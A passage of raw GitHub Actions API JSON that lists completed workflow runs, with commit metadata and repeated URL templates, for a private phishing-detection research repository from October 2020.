pi.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":298867244,"node_id":"MDExOldvcmtmbG93UnVuMjk4ODY3MjQ0","head_branch":"feature_selection","head_sha":"c3796e68dd5102e4c4984225382e73d7ad0e1f15","run_number":1086,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1318274937,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzE4Mjc0OTM3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867244","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/298867244","pull_requests":[],"created_at":"2020-10-10T07:31:43Z","updated_at":"2020-10-10T07:49:55Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867244/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867244/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1318274937","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867244/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867244/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867244/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"c3796e68dd5102e4c4984225382e73d7ad0e1f15","tree_id":"99515d4a384553cfb694f22d6c66916affb96489","message":"Module docstrings","timestamp":"2020-10-10T07:31:34Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":298863969,"node_id":"MDExOldvcmtmbG93UnVuMjk4ODYzOTY5","head_branch":"1.3.0","head_sha":"5215dc165bc27e47d0789703e4f555deaaf1e2c0","run_number":1085,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1318268568,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzE4MjY4NTY4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298863969","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/298863969","pull_requests":[],"created_at":"2020-10-10T07:28:14Z","updated_at":"2020-10-10T08:07:11Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298863969/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298863969/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1318268568","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298863969/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298863969/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298863969/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"5215dc165bc27e47d0789703e4f555deaaf1e2c0","tree_id":"8d61a18031686ceb00b0233547d9a7ace649972f","message":"Version number","timestamp":"2020-10-10T07:27:33Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":298863453,"node_id":"MDExOldvcmtmbG93UnVuMjk4ODYzNDUz","head_branch":"master","head_sha":"5215dc165bc27e47d0789703e4f555deaaf1e2c0","run_number":1084,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1318267594,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzE4MjY3NTk0","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298863453","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/298863453","pull_requests":[],"created_at":"2020-10-10T07:27:44Z","updated_at":"2020-10-10T08:43:20Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298863453/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298863453/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1318267594","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298863453/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298863453/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298863453/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"5215dc165bc27e47d0789703e4f555deaaf1e2c0","tree_id":"8d61a18031686ceb00b0233547d9a7ace649972f","message":"Version number","timestamp":"2020-10-10T07:27:33Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Det